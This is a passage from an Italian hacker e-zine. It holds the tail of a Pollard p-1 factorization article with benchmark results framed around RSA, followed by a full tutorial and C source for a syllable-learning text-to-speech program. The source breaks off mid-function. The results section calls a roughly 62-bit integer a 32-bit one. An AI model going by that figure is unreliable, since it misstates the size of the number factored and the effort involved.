gettimeofday(&tm1, NULL);
printf("Factorization has been completed in %ld seconds.\n",\
tm1.tv_sec - tm0.tv_sec);
exit(EXIT_SUCCESS);
}
if (mpz_probab_prime_p(N, 10) > 0) {
gmp_printf("Factor = %Zd\n", N);
mpz_clear(a);
mpz_clear(GCD);
mpz_clear(tmp);
mpz_clear(N);
mpz_clear(k);
gettimeofday(&tm1, NULL);
printf("Factorization has been completed in %ld seconds.\n",\
tm1.tv_sec - tm0.tv_sec);
exit(EXIT_SUCCESS);
}
}
}
return 0;
}
-----------------------------------------------------------------------
2.2] - Alcuni risultati del metodo Pollard p-1
RESULTS OF SPMI - Simple Pollard p-1 Method Implementation
for large integers factorization
HARDWARE :
CPU model name : AMD Athlon(TM) XP 2000+
CPU MHz : 1666.240
CPU cache size : 256 KB
CPU bogomips : 3322.67
RAM MB : 512 MB
RAM MHz : 266 MHz
SOFTWARE :
Operative System : Gentoo GNU/Linux [kernel v2.6.2]
spmi.c : my implementation of the Pollard p-1 Method
RESULTS :
N[integer to factorize]: 3369738766071892021 [quite 2^32]
b = 10
Factor: 204518747
Factor: 16476429743
Factorization has been completed in 352-355 seconds.
3.0] - Conclusioni
Abbiamo visto due esempi di algoritmi per fattorizzare un intero di
grosse dimensioni[i risultati riportati si riferiscono alla
fattorizzazione di un intero a 32 bits, quindi nel migliore dei casi
in 352 secondi avremmo trovato i due fattori dell'intero che compone
una chiave pubblica RSA].
Nota: voglio ricordare che queste sono semplici implementazioni a solo
scopo di studio e possono essere ottimizzate con qualche controllo
in piu' prima del'algoritmo vero e proprio, ad esempio un controllo
se N e' una radice nesima perfetta.
Il prossimo articolo su questo argomento presentera' un'implementazione
dell'algoritmo di Lenstra basato sulle Curve Ellittiche.
Paolo Ardoino AKA binduck <binduck(at)coder<dot>hu>
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::[.]::[.]
:: [O]nda[Q]uadra [0X0B] OQ20040308[0B] ::
:: [0x05][C0DiNG] GRiLL0 PARLANTE [eazy] ::
[.]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
1. Preambolo
2. Introduzione
2.1 Analisi a runtime
2.2 Analisi del codice
3. Codice sorgente
1. Preambolo
"[...] A queste ultime parole, Pinocchio salt su tutt'infuriato e preso
sul banco un martello di legno lo scagli contro il Grillo-parlante.
Forse non credeva nemmeno di colpirlo: ma disgraziatamente lo colse per
l'appunto nel capo, tanto che il povero Grillo ebbe appena il fiato di
fare cr -cr -cr , e poi rimase l stecchito e appiccicato alla parete"
(tratto da "Le avventure di Pinocchio", C. Collodi)
2. Introduzione
Niente paura in questo articolo non intendo parlarvi dell'antipatico
Grillo-parlante reso famoso dal racconto di Collodi bens di un
simpatico sintetizzatore text-to-speech.
In cosa consiste questo programma? In linea di massima possiamo dire che
un sintetizzatore text-to-speech altro non che un programma in grado di
riprodurre vocalmente un testo scritto dall'utente.
Tale sistema in grado di generare sempre nuove frasi concatenando tra
loro diverse sillabe che apprende e memorizza in un proprio database man
mano che lo si utilizza.
Ma come funziona? Come prima cosa il programma richiedere all'utente di
digitare una frase, successivamente procede a dividerla in sillabe, ogni
sillaba trovata viene cercata all'interno del database.
Nel caso in cui una o pi sillabe non siano ancora presenti nel database
il programma richiede all'utente di pronunciarle al microfono in modo che
possano essere memorizzate e aggiunte al database.
Una volta che tutte le sillabe della frase sono state individuate all'
interno del database procede alla loro concatenazione e riproduce la
traccia sonora da essa ottenuta.
Quali sono le difficolt di scrivere tale programma? Il principale
problema da affrontare consiste nel riconscimento della voce dell'utente
quando si esegue l'acquisizione di una nuova sillaba e la soppressione
del rumore di fondo dalle tracce.
Per distinguere il rumore di fondo dal parlato necessario come prima
cosa prelevare un campione del rumore di fondo, successivamente quando si
acquisiranno le tracce contenenti la voce dell'utente che pronuncia la
sillaba sar cura del programma ricercare al loro interno gli intervalli
di silenzio prima e dopo la voce al fine di eliminarli.
2.1 Analisi a runtime
La frase utilizzata nell'esempio "sopra la panca la capra campa", come
vedremo le sillabe so-pra-la-pan non sono conosciute dal programma e
verranno richieste all'utente per la memorizzazione nel database.
Come vedremo la traccia audio di ogni sillaba pronunciata dall'utente
verr analizzata per rimuovere il silenzio prima e dopo la sua voce.
Ogni traccia audio composta da un numero di N campioni, la traccia
viene analizzata a gruppi di M campioni, dove M un numero molto
inferiore a N.
In particolare il programma riconosce l'inizio della sillaba all'interno
della traccia sonora cercando di isolare il primo blocco di M campioni
contenente una percentuale di campioni di rumore superiore al 20%.
La fine della sillaba viene individuata pressoch nello stesso modo,
questa volta viene ricercato il primo blocco di M campioni contenente una
percentuale di campioni di silenzio superiore all'80%.
Segue l'output di esempio del programma:
# ./grillo_parlante
Vuoi eseguire una prova del microfono? [y/n]: n
Il programma procedera' al campionamento e alla soppressione del rumore
di fondo. Durante questa fase e' necessario rimanere in silenzio.
Premere INVIO per iniziare.
Inizio procedura tra 5...4...3...2...1...silenzio!
Scrivi una frase: sopra la panca la capra campa
Pronuncia la sillaba so. Premere INVIO per iniziare.
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 3%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 45% <--- inizio della sillaba
Percentuale silenzio: 54%
Percentuale silenzio: 60%
Percentuale silenzio: 75%
Percentuale silenzio: 83% <--- fine sillaba
Pronuncia la sillaba pra. Premere INVIO per iniziare.
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 23% <--- inizio della sillaba
Percentuale silenzio: 77%
Percentuale silenzio: 90% <--- fine sillaba
Pronuncia la sillaba la. Premere INVIO per iniziare.
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 3%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 7%
Percentuale rumore: 45% <--- inizio della sillaba
Percentuale silenzio: 55%
Percentuale silenzio: 38%
Percentuale silenzio: 25%
Percentuale silenzio: 51%
Percentuale silenzio: 99% <--- fine sillaba
Pronuncia la sillaba pan. Premere INVIO per iniziare.
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 0%
Percentuale rumore: 15% <--- rumore
Percentuale rumore: 0%
Percentuale rumore: 13%
Percentuale rumore: 42% <--- inizio della sillaba
Percentuale silenzio: 57%
Percentuale silenzio: 56%
Percentuale silenzio: 64%
Percentuale silenzio: 65%
Percentuale silenzio: 71%
Percentuale silenzio: 91% <--- fine sillaba
Infine il programma concatena le sillabe acquisite dal microfono con
quelle gi presenti nel database e riproduce la frase vocalmente.
2.2 Analisi del codice
Incominciamo la nostra analisi del codice sorgente partendo dalla prima
parte della funzione main():
int
main(int argc, char **argv)
{
int dev;
.
.
.
.
set_device(dev);
rumore_fondo(dev);
for (;;) {
.
.
.
.
}
}
Come prima cosa viene richiamata set_device() che provvede a settare i
parametri relativi al campionamento:
void
set_device(int dev)
{
int arg;
arg = BITS;
if (ioctl(dev, SOUND_PCM_WRITE_BITS, &arg) == -1)
err_quit();
if (arg != BITS) {
fprintf(stderr, "Unable to set required sample bits
size\n");
exit(-1);
}
.
.
.
.
}
Esegue una serie di ioctl() sul descrittore di file relativo a /dev/dsp
al fine di settare il numero di bit, il numero di canali e la frequenza
a cui verranno effettuati i campionamenti.
Nel nostro caso tali valori vengono assegnati sulla base di alcune
costanti definite all'inizio del programma:
#define BITS 8
#define CHANNELS 1
#define RATE 8000
come possiamo vedere dal valore delle costanti i campionamenti verranno
effettuati a 8 bit, mono e con una frequenza di campionamento di 8000 Hz.
Leggendo dal descrittore del file /dev/dsp possibile acquisire l'input
dal dispositivo abilitato dal mixer, nel nostro caso il microfono, mentre
scrivendoci possibile riprodurre la fonte sonora campionata.
La seconda funzione chiamata da main() rumore_fondo() che serve a
campionare il rumore di fondo:
int min = 255, max = 0;
void
rumore_fondo(int dev)
{
int i;
Audio sample;
unsigned char *ptr;
do {
.
.
.
.
memset(&sample, 0, sizeof(sample));
if (read(dev, sample.data, SAMPLE_LEN) == -1)
err_quit();
/*
Ricerca i picchi massimi e minimi nel rumore di fondo
campionato. I valori dei campioni possono oscillare tra
0 e 255 dove 128 equivale alla condizione di totale
silenzio
*/
for (ptr = sample.data; ptr < sample.data + SAMPLE_LEN;
ptr++) {
*ptr &= MASK;
if (*ptr < min)
min = *ptr;
if (*ptr > max)
max = *ptr;
}
.
.
.
.
/*
Se i picchi massimi e minimi riscontrati nel rumore di fondo si
discostano eccessivamente da 128, che equivale alla condizione
di totale silenzio, mostra un messaggio d'errore e ripete la
procedura
*/
} while (min < MIN || max > MAX);
}
In questa funzione leggiamo una traccia di dimensione SAMPLE_LEN dal
device /dev/dsp e la memorizziamo nella variabile sample, questa traccia
conterr il rumore di fondo.
La costante SAMPLE_LEN definita in maniera tale da rispecchiare lo
spazio richiesto in memoria per contenere una traccia di durata pari a
tre secondi:
#define SECONDS 3
#define SAMPLE_LEN BITS / 8 * CHANNELS * RATE * SECONDS
Per calcolare il valore di SAMPLE_LEN sappiamo che il numero di byte di
un campione pu essere ottenuto dividendo per 8 il numero di bit che
compone ogni campione:
BITS / 8
Inoltre sappiamo che viene prelevato un campione per ogni canale, che nel
nostro caso uno solo visto che lavoriamo in mono.
Essendo la frequenza di campionamento pari a 8000 Hz sappiamo che per
ogni secondo di traccia verranno memorizzati 8000 campioni pertanto
moltiplichiamo la durata della traccia espressa in secondi per la
frequenza di campionamento espressa in Hz:
RATE * SECONDS
Il valore di SAMPLE_LEN viene calcolato moltiplicando il numero di byte
che compongono ciascun campione per il numero di canali per la frequenza
di campionamento per la durata della traccia in secondi:
BITS / 8 * CHANNELS * RATE * SECONDS
Una volta letta la traccia audio entriamo nel ciclo for e ptr viene fatto
puntare all'inizio della traccia che contiene il rumore di fondo
campionato.
Ad ogni iterazione del ciclo for il puntatore viene fatto avanzare di un
byte, ovvero la dimensione di ogni campione (BITS / 8), al termine del
for le variabili min e max conterranno rispettivamente il picco minimo e
massimo presenti nel rumore di fondo.
Tenendo in considerazione che il valore di ogni campione pu oscillare
tra 0 e 255, dove 128 rappresenta la condizione di totale silenzio,
possiamo immaginare che min avr un valore di poco inferiore a 128 mentre
max avr un valore di poco superiore a tale soglia.
A questo punto i valori del picco minimo e massimo vengono raffrontati
con i valori di due costanti:
#define MIN 120
#define MAX 140
Nel caso il valore dei picchi dovesse essere superiore a tali valori il
programma proceder ad effettuare nuovamente il campionamento del rumore
di fondo.
Passiamo ora all'analisi della seconda parte della funzione main():
int
main(int argc, char **argv)
{
int dev, fd, i;
char buff[MAXLEN], temp[MAXLEN], *parola, *sillaba;
.
.
.
.
for (;;) {
printf("Scrivi una frase: ");
if (fgets(buff, sizeof(buff), stdin) == NULL)
err_quit();
buff[strlen(buff) - 1] = 0;
memcpy(temp, buff, sizeof(buff));
for (parola = strtok(temp, " "); parola != NULL;
parola = strtok(NULL, " "))
/*
Divide in sillabe la parola
*/
for (i = 1; dividi_sillabe(parola, &sillaba, i)
; i++) {
/*
Se la sillaba non presente nel
database procede alla sua
memorizzazione
*/
if (trova_sillaba(fd, sillaba) == -1)
memorizza_sillaba(dev, sillaba, fd);
free(sillaba);
}
.
.
.
.
}
}
La funzione fgets() provvede a leggere dallo standard input una frase
digitata dall'utente e a memorizzarla per successive elaborazioni.
Subito dopo viene richiamata ciclicamente strtok() su tale frase per
separarne le varie parole che la compongono:
for (parola = strtok(temp, " "); parola != NULL;
parola = strtok(NULL, " "))
.
.
.
Ogni parola, a sua volta, viene scoposta in sillabe richiamando
ricorsivamente la funzione dividi_sillabe():
/*
Divide in sillabe la parola
*/
for (i = 1; dividi_sillabe(parola, &sillaba, i); i++) {
.
.
.
}
Per ogni sillaba viene eseguita la funzione trova_sillaba() che verifica
se la sillaba esiste nel database del programma:
/*
Se la sillaba non presente nel database procede alla
sua memorizzazione
*/
if (trova_sillaba(fd, sillaba) == -1)
memorizza_sillaba(dev, sillaba, fd);
Il descrittore di file fd a cui si fa riferimento quello relativo al
database delle firme che non altro che un file binario nel quale
viene memorizzata ogni sillaba sia sotto forma di testo ascii che la
relativa traccia audio.
Se trova_sillaba() da esito negativo, ovvero la sillaba non presente
nel database, viene chiamata la funzione memorizza_sillaba() che provvede
ad inserire la nuova sillaba nel database.
Analizziamo dunque queste due funzioni, trova_sillaba() difinita in
questo modo:
int
trova_sillaba(int fd, char *sillaba)
{
Audio sample;
lseek(fd, 0, SEEK_SET);
memset(&sample, 0, sizeof(sample));
while (read(fd, &sample, sizeof(sample)) > 0)
if (strcmp(sample.sillaba, sillaba) == 0)
return 1;
return -1;
}
Come prima cosa si sposta all'inizio del file che contiene il database
delle sillabe e scorre tutte le voci contenute nel db alla ricerca di
una che corrisponda alla sillaba passata come argomento della funzione.
Se la sillaba viene trovata la funzione ritorna 1 altrimenti ritorna -1.
In questo modo nel caso il valore di ritorno di tale funzione dovesse
risultare negativo verrebbe richiamata la funzione memorizza_sillaba()
che provvederebbe all'inserimento della nuova sillaba nel db.
La prima parte di tale funzione si presenta cos:
void
memorizza_sillaba(int dev, char *sillaba, int fd)
{
Audio sample;
int rumore, silenzio, percent_rumore,
percent_silenzio;
unsigned char *ptr, *ptr2;
do {
printf("Pronuncia la sillaba %s. Premere INVIO per
iniziare.\n", sillaba);
fgetc(stdin);
memset(&sample, 0, sizeof(sample));
strncpy(sample.sillaba, sillaba, 9);
if (read(dev, sample.data, SAMPLE_LEN) == -1)
err_quit();
.
.
.
.
} while (....);
.
.
.
.
}
All'utente viene richiesto di pronunciare ad alta voce la sillaba passata
come argomento della funzione. Successivamente la funzione esegue una
lettura dal descrittore di file relativo al device audio /dev/dsp al fine
di acquisire la traccia audio.
Possiamo notare che la variabile sample nella quale viene memorizzata la
sillaba dichiarata di tipo Audio, questo tipo una struttura definita
nel modo seguente:
typedef struct {
int begin, end;
char sillaba[10];
unsigned char data[SAMPLE_LEN];
} Audio;
la variabile sillaba conterr la stringa corrispondente alla sillaba,
mentre la variabile data conterr la traccia audio acquisita dal
microfono.
Passiamo ora alla seconda parte della stessa funzione:
void
memorizza_sillaba(int dev, char *sillaba, int fd)
{
Audio sample;
int rumore, silenzio, percent_rumore,
percent_silenzio;
unsigned char *ptr, *ptr2;
do {
.
.
.
.
for (ptr = sample.data; ptr < sample.data + SAMPLE_LEN;
ptr += NSAMPLE) {
rumore = 0;
/*
Analizza un blocco di campioni per vedere la
percentuale di rumore in esso contenuta
*/
for (ptr2 = ptr; ptr2 < ptr + NSAMPLE; ptr2++)
if (*ptr2 < min || *ptr2 > max)
rumore++;
/*
Se la percentuale di rumore contenuta nel
blocco di campioni analizzato supera il 20% lo
considera l'inizio della sillaba pronunciata
*/
printf("Percentuale rumore: %d%%\n",
percent_rumore = 100 * rumore / NSAMPLE);
if (percent_rumore > 20) {
sample.begin = ptr - sample.data;
break;
}
}
if (!sample.begin)
fprintf(stderr, "\nNon stato possibile
riconoscere l'inizio della parola.\n");
.
.
.
.
} while (....);
.
.
.
.
}
Il puntatore ptr viene fatto puntare all'inizio della traccia audio e per
ogni iterazione del ciclo for viene fatto avanzare di un numero di
campioni pari al valore della costante NSAMPLE cos definita:
#define NSAMPLE 500
Ad ogni itarazione del ciclo for pi esterno viene eseguito un altro for
al suo interno:
/*
Analizza un blocco di campioni per vedere la percentuale di
rumore in esso contenuta
*/
for (ptr2 = ptr; ptr2 < ptr + NSAMPLE; ptr2++)
if (*ptr2 < min || *ptr2 > max)
rumore++;
Il puntatore ptr2 viene fatto puntare alla porzione di dati corrente, in
questo modo la traccia la cui durata tolate di 3 secondi viene
analizzata a blocchi di 500 campioni.
Lo scopo del ciclo for pi interno quello di scorrere ogni elemento di
ogni blocco di campioni al fine di trovare il primo blocco di campioni
che rappresenti la sillaba pronunciata dall'utente.
Per far questo viene analizzato il valore di ogni singolo campione che
compone il blocco di 500 elementi e viene incrementata la variabile
rumore nel caso in cui il valore del campione analizzato dovesse uscire
dai valori di soglia che costituiscono il silenzio.
/*
Se la percentuale di rumore contenuta nel blocco di campioni
analizzato supera il 20% lo considera l'inizio della sillaba
pronunciata
*/
printf("Percentuale rumore: %d%%\n",
percent_rumore = 100 * rumore / NSAMPLE);
if (percent_rumore > 20) {
sample.begin = ptr - sample.data;
break;
}
Una volta usciti dal ciclo for interno viene calcolata la percentuale di
elementi che contengono rumore e se tale percentuale supera il 20% il
blocco di campioni viene considerato l'inizio della sillaba pronunciata
dall'utente all'interno della traccia audio. La variabile begin contenuta
all'interno della struttura sample viene fatta puntare all'inizio di tale
blocco per indicare l'inizio della sillaba all'interno della traccia.
Passiamo alla terza ed ultima parte della funzione:
void
memorizza_sillaba(int dev, char *sillaba, int fd)
{
Audio sample;
int rumore, silenzio, percent_rumore,
percent_silenzio;
unsigned char *ptr, *ptr2;
do {
.
.
.
.
for (ptr = sample.data + sample.begin;
ptr < sample.data + SAMPLE_LEN; ptr += NSAMPLE) {
silenzio = 0;
/*
Analizza un blocco di campioni per vedere la
percentuale di silenzio in esso contenuta
*/
for (ptr2 = ptr; ptr2 < ptr + NSAMPLE; ptr2++)
if (*ptr2 >= min && *ptr2 <= max)
silenzio++;
/*
Se la percentuale di silenzio contenuta nel
blocco di campionianalizzato supera l'80% lo
considera la fine della sillaba pronunciata
*/
printf("Percentuale silenzio: %d%%\n",
percent_silenzio = 100 * silenzio / NSAMPLE);
if (percent_silenzio > 80) {
sample.end = ptr - sample.data;
break;
}
}
if (!sample.end)
fprintf(stderr, "\nNon stato possibile riconoscere la
fine della parola.\n");
} while (!sample.begin || !sample.end);
/*
Aggiunge la nuova sillaba al database
*/
lseek(fd, 0, SEEK_END);
if (write(fd, &sample, sizeof(sample)) == -1)
err_quit();
}
Lo struttura del for in tutto e per tutto simile a quella analizzata in
precedenza, pertanto valgono le stesse considerazioni fatte poco sopra.
Questa volta il for viene utilizzato per trovare il blocco di campioni
che rappresentano la fine della sillaba all'interno della traccia audio.
Il costrutto do-while verifica che l'inizio e la fine sillaba siano state
riconosciute, in caso contrario l'intera procedura verr ripetuta.
Infine, la nuova sillaba viene inserita alla fine del database in modo
tale che possa essere utilizzata in futuro, tale funzione costituisce
l'elemento base per l'apprendimento del programma.
Facciamo ora un breve salto indietro e torniamo ad analizzare la terza
parte della funzione main():
int
main(int argc, char **argv)
{
int dev, fd, i;
char buff[MAXLEN], temp[MAXLEN], *parola, *sillaba;
.
.
.
.
for (;;) {
.
.
.
.
for (parola = strtok(buff, " "); parola != NULL;
parola = strtok(NULL, " ")) {
/*
Divide in sillabe la parola
*/
for (i = 1; dividi_sillabe(parola, &sillaba, i); i++) {
/*
Riproduce la sillaba contenuta nel database
*/
if (pronuncia(dev, sillaba, fd) == -1)
fprintf(stderr, "Sillaba sconosciuta\n");
free(sillaba);
}
usleep(300000);
}
}
}
Viene richiamata ciclicamente strtok() esattamente come avveniva per la
seconda parte di main(). L'intera frase viene cos divisa in parole che
vengono successivamente divise in sillabe.
Per ogni sillaba ottenuta viene richiamata la funzione pronuncia() che
legge il database e provvede a riprodurre la traccia relativa a tale
sillaba.
Vediamo come si presenta la funzione pronuncia():
int
pronuncia(int dev, char *sillaba, int fd)
{
Audio sample;
lseek(fd, 0, SEEK_SET);
memset(&sample, 0, sizeof(sample));
/*
Scorre l'intero database alla ricerca della sillaba
*/
while (read(fd, &sample, sizeof(sample)) > 0)
/*
Se la sillaba viene trovata la riproduce
*/
if (strcmp(sample.sillaba, sillaba) == 0) {
write(dev, sample.data + sample.begin,
sample.end - sample.begin);
return 1;
}
return -1;
}
La funzione ricerca la sillaba passata come argomento tra quelle
memorizzate nel database, se la sillaba viene trovata viene riprodotta
scrivendo sul device /dev/dsp. Notare che la porzione della traccia audio
che viene riprodotta esclusivamente quella tra sample.begin e
sample.end che sono state inizializzate in memorizza_sillaba().
In questo modo il programma riproduce esclusivamente la parte parlata
della traccia audio e salta la parte che contiene solo rumore di fondo.
3. Codice sorgente
/*
* grillo_parlante.c: Text-To-Speech synthesizer that read text aloud.
*
*
* Copyright (c) 2003, eazy <eazy@ondaquadra.org>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are
* met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
*
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the
* distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
* DAMAGE.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>
#include <linux/soundcard.h>
#define DSP "/dev/dsp"
#define DB ".dizionario"
#define MIN 120
#define MAX 140
#define BITS 8
#define CHANNELS 1
#define RATE 8000
#define SECONDS 3
#define SAMPLE_LEN BITS / 8 * CHANNELS * RATE * SECONDS
#define MASK 0xfc
#define MAXLEN 255
#define NSAMPLE 500
#define LEN 8
#define SCREEN_LEN 80
int signo = 0, min = 255, max = 0;
typedef struct {
int begin, end;
char sillaba[10];
unsigned char data[SAMPLE_LEN];
} Audio;
void
err_quit(void)
{
perror("error");
exit(-1);
}
void
sigint(int sig)
{
signo = 1;
}
int
consonante(char lettera)
{
int i;
char vocale[5] = {'a', 'e', 'i', 'o', 'u'};
for (i = 0; i < 5; i++)
if (lettera == vocale[i])
return 0;
return 1;
}
int
vocale(char lettera)
{
int i;
char vocale[5] = {'a', 'e', 'i', 'o', 'u'};
for (i = 0; i < 5; i++)
if (lettera == vocale[i])
return 1;
return 0;
}
int
doppia(char *lettera)
{
if (*lettera == 0)
return 0;
if (*lettera == *(lettera + 1))
return 1;
return 0;
}
int
nmlr(char *lettera)
{
int i;
char nmlr[4] = {'n', 'm', 'l', 'r'};
for (i = 0; i < 4; i++)
if (*lettera == nmlr[i])
if (consonante(*(lettera + 1)))
return 1;
return 0;
}
/*
Restituisce la sillaba che si trova nella posizione indicata da pos
*/
int
dividi_sillabe(char *parola, char **sillaba, int pos)
{
int i;
char *ptr, *begin, *end;
for (i = 1, ptr = parola; ptr < parola + strlen(parola); i++) {
begin = ptr;
while (consonante(*ptr))
ptr++;
while (vocale(*ptr))
ptr++;
if (doppia(ptr)) {
ptr++;
goto fine;
}
if (nmlr(ptr))
ptr++;
fine: end = ptr;
if (i == pos) {
*sillaba = calloc(end - begin + 1, sizeof(char));
memcpy(*sillaba, begin, end - begin);
return 1;
}
}
return 0;
}
int
trova_sillaba(int fd, char *sillaba)
{
Audio sample;
lseek(fd, 0, SEEK_SET);
memset(&sample, 0, sizeof(sample));
while (read(fd, &sample, sizeof(sample)) > 0)
if (strcmp(sample.sillaba, sillaba) == 0)
return 1;
return -1;
}
void
memorizza_sillaba(int dev, char *sillaba, int fd)
{
Audio sample;
int rumore, silenzio, percent_rumore,
percent_silenzio;
unsigned char *ptr, *ptr2;
do {
printf("Pronuncia la sillaba %s. Premere INVIO per "
"iniziare.\n", sillaba);
fgetc(stdin);
memset(&sample, 0, sizeof(sample));
strncpy(sample.sillaba, sillaba, 9);
if (read(dev, sample.data, SAMPLE_LEN) == -1)
err_quit();
for (ptr = sample.data; ptr < sample.data + SAMPLE_LEN;
ptr += NSAMPLE) {
rumore = 0;
/*
Analizza un blocco di campioni per vedere la
percentuale di rumore in esso contenuta
*/
for (ptr2 = ptr; ptr2 < ptr + NSAMPLE; ptr2++)
if (*ptr2 < min || *ptr2 > max)
rumore++;
/*
Se la percentuale di rumore contenuta nel
blocco di campioni analizzato supera il 20% lo
considera l'inizio della sillaba pronunciata
*/
printf("Percentuale rumore: %d%%\n",
percent_rumore = 100 * rumore / NSAMPLE);
if (percent_rumore > 20) {
sample.begin = ptr - sample.data;
break;
}
}
if (!sample.begin)
fprintf(stderr, "\nNon stato possibile "
"riconoscere l'inizio della parola.\n");
for (ptr = sample.data + sample.begin;
ptr < sample.data + SAMPLE_LEN; ptr += NSAMPLE){
silenzio = 0;
/*
Analizza un blocco di campioni per vedere la
percentuale di silenzio in esso contenuta
*/
for (ptr2 = ptr; ptr2 < ptr + NSAMPLE; ptr2++)
if (*ptr2 >= min && *ptr2 <= max)
silenzio++;
/*
Se la percentuale di silenzio contenuta nel
blocco di campioni analizzato supera l'80% lo
considera la fine della sillaba pronunciata
*/
printf("Percentuale silenzio: %d%%\n",
percent_silenzio = 100 * silenzio / NSAMPLE);
if (percent_silenzio > 80) {
sample.end = ptr - sample.data;
break;
}
}
if (!sample.end)
fprintf(stderr, "\nNon stato possibile "
"riconoscere la fine della parola.\n");
} while (!sample.begin || !sample.end);
/*
Aggiunge la nuova sillaba al database
*/
lseek(fd, 0, SEEK_END);
if (write(fd, &sample, sizeof(sample)) == -1)
err_quit();
}
int
pronuncia(int dev, char *sillaba, int fd)
{
Audio sample;
lseek(fd, 0, SEEK_SET);
memset(&sample, 0, sizeof(sample));
/*
Scorre l'intero database alla ricerca della sillaba
*/
while (read(fd, &sample, sizeof(sample)) > 0)
/*
Se la sillaba viene trovata la riproduce
*/
if (strcmp(sample.sillaba, sillaba) == 0) {
write(dev, sample.data + sample.begin,
sample.end - sample.begin);
return 1;
}
return -1;
}
unsigned char
campiona(int dev)
{
int n;
unsigned char buff[LEN];
if ((n = read(dev, &buff, LEN)) == LEN)
return buff[n - 1];
return -1;
}
/*
tnx lesion for this function :)
*/
void
eq(int dev)
{
int i, l;
struct sigaction act, old;
act.sa_handler = sigint;
sigemptyset(&act.sa_mask);
act.sa_flags |= SA_RESTART;
if (sigaction(SIGINT, &act, &old) == -1)
err_quit();
while (!signo) {
l = campiona(dev) * SCREEN_LEN / 255;
for (i = 0; i < l; i++)
printf("|");
printf("\n");
}
signo = 0;
if (sigaction(SIGINT, &old, NULL) == -1)
err_quit();
}
void
set_mic(int dev)
{
int i;
printf("Vuoi eseguire una prova del microfono? [y/n]: ");
if (fgetc(stdin) == 'y') {
printf("\nPer terminare la prova microfono premi "
"Ctrl^C ");
for (i = 5; i > 0; i--) {
printf("%d...", i);
fflush(stdout);
sleep(1);
}
printf("\n");
eq(dev);
}
fgetc(stdin);
}
void
rumore_fondo(int dev)
{
int i;
Audio sample;
unsigned char *ptr;
do {
set_mic(dev);
fprintf(stderr, "Il programma procedera' al "
"campionamento e alla soppressione del rumore\n"
"di fondo. Durante questa fase e' necessario "
"rimanere in silenzio.\n"
"Premere INVIO per iniziare.\n");
fgetc(stdin);
fprintf(stderr, "\nInizio procedura tra ");
for (i = 5; i > 0; i--) {
printf("%d...", i);
fflush(stdout);
sleep(1);
}
printf("silenzio!\n");
memset(&sample, 0, sizeof(sample));
if (read(dev, sample.data, SAMPLE_LEN) == -1)
err_quit();
/*
Ricerca i picchi massimi e minimi nel rumore di fondo
campionato. I valori dei campioni possono oscillare tra
0 e 255 dove 128 equivale alla condizione di totale
silenzio
*/
for (ptr = sample.data; ptr < sample.data + SAMPLE_LEN;
ptr++) {
*ptr &= MASK;
if (*ptr < min)
min = *ptr;
if (*ptr > max)
max = *ptr;
}
/*
Se i picchi massimi e minimi riscontrati nel rumore di
fondo si discostano eccessivamente da 128, che equivale
alla condizione di totale silenzio, mostra un messaggio
d'errore e ripete la procedura
*/
if (min < MIN || max > MAX)
fprintf(stderr, "Operazione non riuscita. Questo"
" puo' essere dovuto ad un'errata\n"
"configurazione del mixer o ad un eccessivo "
"rumore di fondo. Provare\n"
"a diminuire il livello del mixer relativo al "
"microfono e riprovare.\n");
} while (min < MIN || max > MAX);
}
void
set_device(int dev)
{
int arg;
arg = BITS;
if (ioctl(dev, SOUND_PCM_WRITE_BITS, &arg) == -1)
err_quit();
if (arg != BITS) {
fprintf(stderr, "Unable to set required sample bits "
"size\n");
exit(-1);
}
arg = CHANNELS;
if (ioctl(dev, SOUND_PCM_WRITE_CHANNELS, &arg) == -1)
